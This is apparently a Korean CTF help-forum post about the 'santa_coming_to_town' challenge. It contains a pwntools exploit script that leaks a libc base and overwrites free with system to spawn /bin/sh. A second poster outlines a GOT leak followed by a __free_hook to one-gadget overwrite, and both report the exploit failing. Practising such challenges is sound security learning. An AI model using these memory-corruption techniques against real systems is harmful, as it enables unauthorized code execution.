libc base까지 구했는데 어느부분을 덮어야 할지 모르겠습니다. 힌트 좀만 주십쇼 선생님들

from pwn import * p = remote('host3.dreamhack.games', 9633) #p = process('./santa_coming_to_town') libc = ELF("/home/jiho/hack/libc/libc-2.27.so") context.log_level = 'debug' i = p.sendlineafter def make(a, b, c): i('>> ', '1') i('? : ', str(a)) #date i(') : ', str(b)) #line i('~\n', str(c)) def read(a): i('>> ', '2') i('? : ', str(a)) def free(a, b, c): i('>> ', '3') i('? : ', str(a)) #date i('edit : ', str(b)) #line i('to : ', str(c)) #data a = 1 while a < 25: make(a, 1, 0) a += 1 make(25, 0x21000, '/bin/sh\x00') read(25) p.recvuntil('Pages : ') address_25 = int(p.recvline()[:-1], 16) libc_base = address_25 + 0x210ff0 print('libc_base: '+hex(libc_base)) print(hex(libc_base + libc.sym['free'])) print(hex(address_25)) print(int((libc_base + libc.sym['free'] - address_25)/16)) offset = (libc_base + libc.sym['free'] - address_25)/0x10 system = libc_base + libc.sym['system'] print(system) free(25, int(offset + 1), system) p.interactive() free함수를 system으로 덮고 free함수의 인자로 들어가는곳에 /bin/sh\x00을 넣어서 쉘을 실행시키려고 했는데 뭐가 문제인지 안됩니다

1번 메뉴를 통해 printf의 got를 입력한다. 2번 메뉴를 통해 printf의 got를 출력해 leak을 구한다. leak을 이용해서 free hook과 oneshot의 주소를 구한다. 3번 메뉴를 통해서 free hook를 oneshot으로 덮는다. hook을 입력하는 방법까지 생각했습니다. 그래서 위의 순서대로 익스플로잇 코드를 작성했지만 flag를 얻을 수 없었습니다. 순서는 맞다고 생각하는데 flag를 얻을 수 없으니 어디가 문제인지 고민입니다.